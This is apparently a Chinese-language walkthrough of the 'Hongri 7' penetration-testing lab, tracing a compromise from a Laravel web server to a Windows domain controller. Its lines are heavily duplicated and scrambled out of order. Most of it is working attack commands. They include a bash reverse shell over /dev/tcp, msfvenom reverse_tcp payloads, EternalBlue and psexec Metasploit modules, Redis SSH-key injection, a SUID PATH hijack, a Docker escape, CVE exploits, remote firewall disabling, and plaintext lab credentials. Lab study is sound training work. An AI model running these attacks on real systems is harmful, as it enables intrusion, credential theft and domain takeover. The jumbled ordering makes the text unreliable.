靶场实操|域渗透之红日靶场7
2023-7-2 09:4:45 Author: 黑白之道(查看原文) 阅读量:36 收藏

  • 拓扑图

  • 环境配置

    • DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动):

    • 第二层网络的 Ubuntu需要启动docker容器(仍然需要root):

    • 第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):

    • 开始配置

    • 至此 环境配置完成

    • sudo su

    • redis-server /etc/redis.conf

    • /usr/sbin/nginx -c /etc/nginx/nginx.conf

    • iptables -F

    • sudo su

    • service docker start

    • docker start 8e172820ac78

    • C:\MYOA\bin\AutoConfig.exe

    • 域用户账户和密码如下:

    • Ubuntu 1:

    • Ubuntu 2:

    • 通达OA账户(不重要):

    • Administrator:Whoami2021

    • whoami:Whoami2021

    • bunny:Bunny2021

    • moretz:Moretz2021

    • web:web2021

    • ubuntu:ubuntu

    • admin:admin657260

    • Windows Server 2012 和 Windows 7(PC 2)都只配置了一个网卡,连接在 VMnet14 上连通第三层网络

    • Ubuntu(Web 2)和 Windows 7(PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上,设为仅主机模式,IP段设为 192.168.93.0/24 连通第三层网络

    • Ubuntu(Web 1)配置了两个网卡,一个桥接可以对外提供服务,IP段设为 192.168.43.0/24,一个连接在 VMnet8 上,设为NAT模式,IP段设为 192.168.52.0/24 连通第二层网络

    • DMZ区IP段为192.168.43.1/24  因为我这里是开热点打的  图用的网上的

    • 第二层网络环境IP段为192.168.52.1/24

    • 第三层网络环境IP段为192.168.93.1/24

    • DMZ区域

    • 第二层网络区域

    • 第三层网络区域

    • 用户名密码

    • 后面的网卡设置好就行

    • 网络配置好了 还需要配置服务

  • 渗透开始

    • 添加93网段的路由

    • 然后探测93网段存活机器

    • 发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)

    • 先扫端口 通过扫端口发现都开了445  那就测一测永恒之蓝

    • 直接弹回会话了

    • 第四台拿下 现在只剩下域控了  既然前面抓到了域管的密码 直接用psexec登录得了

    • 失败了,应该是开了防火墙的原因。

    • 没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:

    • 连上了  然后来关防火墙

    • 然后在次尝试psexec

    • 拿下域控 到此拿下了所有机器  

    • 权限维持就不做了

    • 后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的

    • use auxiliary/scanner/smb/smb_version

    • set rhosts 192.168.93.1-255

    • set threads 5

    • run

    • use exploit/windows/smb/ms17_010_eternalblue

    • set rhosts 192.168.93.40

    • set payload windows/x64/meterpreter/bind_tcp

    • set lport 8888

    • exploit

    • use exploit/windows/smb/psexec

    • set rhosts 192.168.93.30

    • set SMBUser administrator

    • set SMBPass Whoami2021

    • set payload windows/meterpreter/bind_tcp

    • set rhost 192.168.93.30

    • run

    • net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

    • sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

    • sc \192.168.93.30 start unablefirewall

    • 首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机

    • 直接挂socks 进一步探测信息

    • 发现有个8080端口 然后浏览器开启代理打开看看

    • 发现是一个通达OA V11.3  然后直接通过exp直接上

    • 上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell      

    • 然后上线msf

    • use auxiliary/scanner/discovery/udp_probe

    • set rhosts 192.168.52.1-255

    • set threads 5

    • run

    • 发现了一台30的机器

    • use auxiliary/server/socks_proxy

    • set srvhost 192.168.43.35

    • set version 4a socks版本  

    • run    

    • bunny:Bunny2021

    • administrator:Whoami2021

    • ipconfig /all   # 查看本机ip,所在域

    • route print     # 打印路由信息

    • net view        # 查看局域网内其他主机名

    • arp -a          # 查看arp缓存

    • net start       # 查看开启了哪些服务

    • net share       # 查看开启了哪些共享

    • net share ipc$  # 开启ipc共享

    • net share c$    # 开启c盘共享

    • net use \192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接

    • net use \192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享

    • dir \192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

    • net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

    • net user                 # 查看本机用户列表

    • net user /domain         # 查看域用户

    • net localgroup administrators    # 查看本地管理员组(通常会有域用户)

    • net view /domain         # 查看有几个域

    • net user 用户名 /domain   # 获取指定域用户的信息

    • net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

    • net group 组名 /domain    # 查看域中某工作组

    • net time /domain           // 主域服务器会同时作为时间服务器

    • net group "domain admins" /domain  # 查看域管理员的名字

    • net group "domain computers" /domain  # 查看域中的其他主机名

    • net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

    • net group "Enterprise Admins" /domain    // 查看域管理员组

    • use exploit/multi/script/web_delivery

    • set target 2

    • set payload windows/x64/meterpreter/reverse_tcp

    • set lhost 192.168.43.35

    • set lport 5555

    • run      

    • 上线之后进行内网信息收集

    • .

    • 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。

    • 然后迁移到64进程上进行抓密码

    • 成功抓到域用户和域管理员的密码

    • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=4445 -f elf > ubuntu.elf

    • 然后远程下载 发现是可以下载的 说明可以出网

    • 如果这里不能出网的话就需要通过先把马子传到192.168.43.129上 然后在下载到52.20这一台上 这也的话 马子也需要重新生成 设置代理

    • cd /tmp

    • vim exploit.c             #将下载的exploit.c内容粘贴到该文件中

    • gcc exploit.c -o exploit

    • chmod +x exploit

    • ./exploit

    • 提权成功  然后现在上线msf进行内网渗透

    • Ubuntu 20.10

    • Ubuntu 20.04 LTS

    • Ubuntu 18.04 LTS

    • Ubuntu 16.04 LTS

    • Ubuntu 14.04 ESM

    • 拿到了web,192.168.43.129;192.168.52.10

    • 拿到了ubuntu,192.168.52.20;192.168.93.10

    • 还是先把这个上线msf 以便后续操作

    • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=3333 -f elf > web.elf

    • 然后远程下载马子

    • 然后msf开启监听

    • 然后执行上线

    • 因为开始第一步我们就将公钥写进去192.168.50.20了  是不是我们可以直接将kali的公钥下载到拿下的A机器 然后直接连接  但是还是要输入密码 很奇怪 按道理我看网上的有人是可以成功的 这里我没成功 就不管了

    • 然后我重新试了一下 还是成功连上了  可能是因为我第一天关机了原因  

    • 重新通过第一步的shell写密钥到192.168.52.20上 然后下载kali的公钥连接上了

    • 这里既然连接上了 就不用另一种方法了

    • 但还是介绍一下另一种方法

    • 我们通过redis拿下了192.168.43.129(192.168.52.10)这一台  这一台和192.168.52.20 有共同的网段的是可以直接连的   所以就可以通过shell弹一个会话到43.129这一台机器上 然后在这一台机器上进行docker提权以及 特权模式逃逸  直接在129这一台机器上生成密钥 然后写入到52.20中 然后连接进行逃逸

    • use exploit/multi/handler

    • set lhost 192.168.31.96

    • set lport 3333

    • set payload linux/x86/meterpreter/reverse_tcp

    • run

    • 因为开始确确实实是把ssh公钥写入了 但是怎么会连不上哎 然后查看了下nginx的配置

    • 发现了 nginx 反向代理的标志 proxy_pass

    • 攻击的机器192.168.43.129(192.168.52.10)服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20,将 80 端口收到的请求转发给了 http://whoamianony.top

    • 所以这个docker的宿主机的192.168.20.20上 就算公钥写进去了 但是连不上 不在同一个网段 那个是

    • 如果说192.168.43.129(192.168.52.10)是A机器  192.168.52.20是B机器  docker是B1

    • 那么我们开始用马子拿下的就是B中的B1  redis拿下的才是A

    • 先安装redis-cli工具

    • 然后连接

    • 尝试用redis写入ssh公钥

    • wget http://download.redis.io/redis-stable.tar.gz

    • tar -zxvf redis-stable.tar.gz

    • cd redis-stable

    • make //全局生效

    • cp src/redis-cli /usr/bin/

    • redis-cli -h 192.168.43.129

    • config set dir /root/.ssh                #设置redis的备份路径为/root/.ssh/

    • config set dbfilename authorized_keys    #设置保存文件名为authorized_keys

    • save        #将数据保存在目标服务器硬盘上

    • ssh 192.168.213.188                      #连接    

    • 直接连上了

    • (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

    • cat key.txt | redis-cli -h 192.168.43.129 -x set hello

    • ssh-keygen -t rsa

    • kali生成ssh公钥

    • 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:

    • 然后进入redis将公钥写入(这里redis要是不用root启,就不行)

    • 先fdisk -l查看磁盘挂载

    • sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上

    • 然后ls hack就可以看到宿主机部分文件

    • 来到/hack/home/ubuntu下 可以看到有.ssh文件

    • 那就可以写入密钥

    • 先在kali中生成密钥  创建一个key文件

    • 然后将密钥复制

    • 然后写入目标的.ssh目录下

    • 命令:cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys(我这里是切换到.ssh目录下复制的 因为我直接全路径不知道为什么失败)(后来发现是hack前面不需要/)

    • 然后写入到authorized_keys里面

    • 然后用kali连接ubuntu

    • 但是发现还是需要密码 这就奇怪了

    • 然后换思路 因为发现还有6379 有redis 所以从redis搞

    • cd /tmp

    • echo "/bin/bash" > ps

    • chmod 777 ps

    • echo $PATH

    • export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

    • cd /home/jobs

    • ./shell# 然后就获得了root权限,可以执行命令了

    • 命令:bash -c "bash -i >& /dev/tcp/192.168.43.35/1234 0>&1"

    • find / -perm -u=s -type f 2>/dev/null

    • https://github.com/BeichenDream/Godzilla下载地址

    • 命令:git clone git://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git

    • 22的ssh

    • 80的nginx

    • 81的Laravel

    • 6379的redis

    • 命令:nmap -T4 -A 192.168.31.132 -p 1-65535

    • 外网渗透

    • 拿到DMZ的ip:192.168.43.129  首先打开看看

    • 空白啥都没有 但是网上的那些有blog不知道怎么回事 先不管 扫端口

    • 扫出4个端口

    • 因为80没东西 所以打开81看看

    • 是一个Laravel v8.29.0(一个简洁、开源的 PHP Web 开发框架)

    • 直接网上找找公开漏洞

    • 发现是有漏洞的CVE-2021-3129 然后直接找exp打

    • https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

    • 克隆exp到kali

    • 然后将里面默认的url改为目标192.168.43.129

    • 然后克隆phpggc到exp目录下 因为需要同目录

    • 命令:git clone git://github.com/ambionics/phpggc.git

    • 然后执行命令:python3 exploit.py

    • 然后改一下py脚本 改成任意执行命令

    • Vim打开脚本,首先在exploit.py开头import sys库

    • 主函数改为如下内容(注意缩进)

    • args = sys.argv

    • url = args[1]

    • command = args[2]

    • Exp(url, command)

    • 然后执行命令

    • 然后写shell  但是用这个exp一直写不上 就换了一个exp

    • 直接写shell的

    • 然后用哥斯拉链接2.92版本的  3.03不知道为什么连不上

    • 连上shell

    • 首先判断当前环境和权限  发现有些命令无法执行 怀疑是在容器里面

    • 判断是否为docker

    • 确实是在docker里面  所以就需要进行docker逃逸

    • 但是当前权限较低

    • 所以需要进行提权 先通过命令来搜索具有SUID或4000权限的文件:

    • 发现 /home/jobs/shell 文件比较特别  然后切换到目录看看

    • 但是发现在哥斯拉执行的时候切换不了 不知道什么情况 那就先弹个会话到kali

    • 然后在kali上试试能不能行

    • 然后通过查看demo.c文件发现 是调用的ps命令且并未使用绝对路径

    • 那么尝试更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell

    • 然后先弹个root的会话

    • 然后使用特权模式进行docker逃逸

    • redis未授权

    • docker逃逸失败的原因

    • docker再次逃逸(柳暗花明)

    • 所以到现在已经拿下了两台

    • 但192.168.52.20是ubuntu用户权限不高 我们要得肯定是root最好 先进行信息收集看看能不能提权

    • 14.04 刚好上次打靶场的时候遇到 这个版本可以提权用CVE-2021-3493

    • 漏洞利用 exp 下载地址:https://github.com/briskets/CVE-2021-3493

    • 漏洞影响版本:

    • 直接将下载的exp的内容复制到 这台机器编译一个

    • 先添加一个路由 这台是192.168.43.129

    • 然后生成一个马子

    • 然后下载执行上线

    • 好了现在都上线了 开启socks代理探测内网

    • 第二层内网渗透

    • 第二层内网渗透

      • use exploit/multi/script/web_delivery

      • set target 2

      • set payload windows/x64/meterpreter/reverse_tcp

      • set lhost 192.168.43.35

      • set lport 5555

      • run      

      • 上线之后进行内网信息收集

      • .

      • 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。

      • 然后迁移到64进程上进行抓密码

      • 成功抓到域用户和域管理员的密码

      • ipconfig /all   # 查看本机ip,所在域

      • route print     # 打印路由信息

      • net view        # 查看局域网内其他主机名

      • arp -a          # 查看arp缓存

      • net start       # 查看开启了哪些服务

      • net share       # 查看开启了哪些共享

      • net share ipc$  # 开启ipc共享

      • net share c$    # 开启c盘共享

      • net use \192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接

      • net use \192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享

      • dir \192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

      • net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

      • net user                 # 查看本机用户列表

      • net user /domain         # 查看域用户

      • net localgroup administrators    # 查看本地管理员组(通常会有域用户)

      • net view /domain         # 查看有几个域

      • net user 用户名 /domain   # 获取指定域用户的信息

      • net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

      • net group 组名 /domain    # 查看域中某工作组

      • net time /domain           // 主域服务器会同时作为时间服务器

      • net group "domain admins" /domain  # 查看域管理员的名字

      • net group "domain computers" /domain  # 查看域中的其他主机名

      • net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

      • net group "Enterprise Admins" /domain    // 查看域管理员组

      • bunny:Bunny2021

      • administrator:Whoami2021

      • use auxiliary/server/socks_proxy

      • set srvhost 192.168.43.35

      • set version 4a socks版本  

      • run    

      • use auxiliary/scanner/discovery/udp_probe

      • set rhosts 192.168.52.1-255

      • set threads 5

      • run

      • 发现了一台30的机器

      • 首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机

      • 直接挂socks 进一步探测信息

      • 发现有个8080端口 然后浏览器开启代理打开看看

      • 发现是一个通达OA V11.3  然后直接通过exp直接上

      • 上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell      

      • 然后上线msf

      • use exploit/multi/script/web_delivery

      • set target 2

      • set payload windows/x64/meterpreter/reverse_tcp

      • set lhost 192.168.43.35

      • set lport 5555

      • run      

      • 上线之后进行内网信息收集

        • ipconfig /all   # 查看本机ip,所在域

        • route print     # 打印路由信息

        • net view        # 查看局域网内其他主机名

        • arp -a          # 查看arp缓存

        • net start       # 查看开启了哪些服务

        • net share       # 查看开启了哪些共享

        • net share ipc$  # 开启ipc共享

        • net share c$    # 开启c盘共享

        • net use \192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接

        • net use \192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享

        • dir \192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

        • net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

        • net user                 # 查看本机用户列表

        • net user /domain         # 查看域用户

        • net localgroup administrators    # 查看本地管理员组(通常会有域用户)

        • net view /domain         # 查看有几个域

        • net user 用户名 /domain   # 获取指定域用户的信息

        • net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

        • net group 组名 /domain    # 查看域中某工作组

        • net time /domain           // 主域服务器会同时作为时间服务器

        • net group "domain admins" /domain  # 查看域管理员的名字

        • net group "domain computers" /domain  # 查看域中的其他主机名

        • net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

        • net group "Enterprise Admins" /domain    // 查看域管理员组

      • .

      • 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。

      • 然后迁移到64进程上进行抓密码

      • 成功抓到域用户和域管理员的密码

        • bunny:Bunny2021

        • administrator:Whoami2021

    • 第三层内网渗透

    • 添加93网段的路由

    • 然后探测93网段存活机器

      • use auxiliary/scanner/smb/smb_version

      • set rhosts 192.168.93.1-255

      • set threads 5

      • run

    • 发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)

    • 先扫端口 通过扫端口发现都开了445  那就测一测永恒之蓝

      • use exploit/windows/smb/ms17_010_eternalblue

      • set rhosts 192.168.93.40

      • set payload windows/x64/meterpreter/bind_tcp

      • set lport 8888

      • exploit

    • 直接弹回会话了

    • 第四台拿下 现在只剩下域控了  既然前面抓到了域管的密码 直接用psexec登录得了

      • use exploit/windows/smb/psexec

      • set rhosts 192.168.93.30

      • set SMBUser administrator

      • set SMBPass Whoami2021

      • set payload windows/meterpreter/bind_tcp

      • set rhost 192.168.93.30

      • run

    • 失败了,应该是开了防火墙的原因。

    • 没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:

      • net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

    • 连上了  然后来关防火墙

      • sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

      • sc \192.168.93.30 start unablefirewall

    • 然后在次尝试psexec

    • 拿下域控 到此拿下了所有机器  

    • 权限维持就不做了

    • 后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的

文章来源:亿人安全

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650572866&idx=3&sn=319a690c348be2225e2cc3f45b5b814d&chksm=83bdeda6b4ca64b000aae78b51e3a2b11c9e03b2dfe5df5dbddf6f4cc2f34f4b1f1b432873bd#rd
如有侵权请联系:admin#unsafe.sh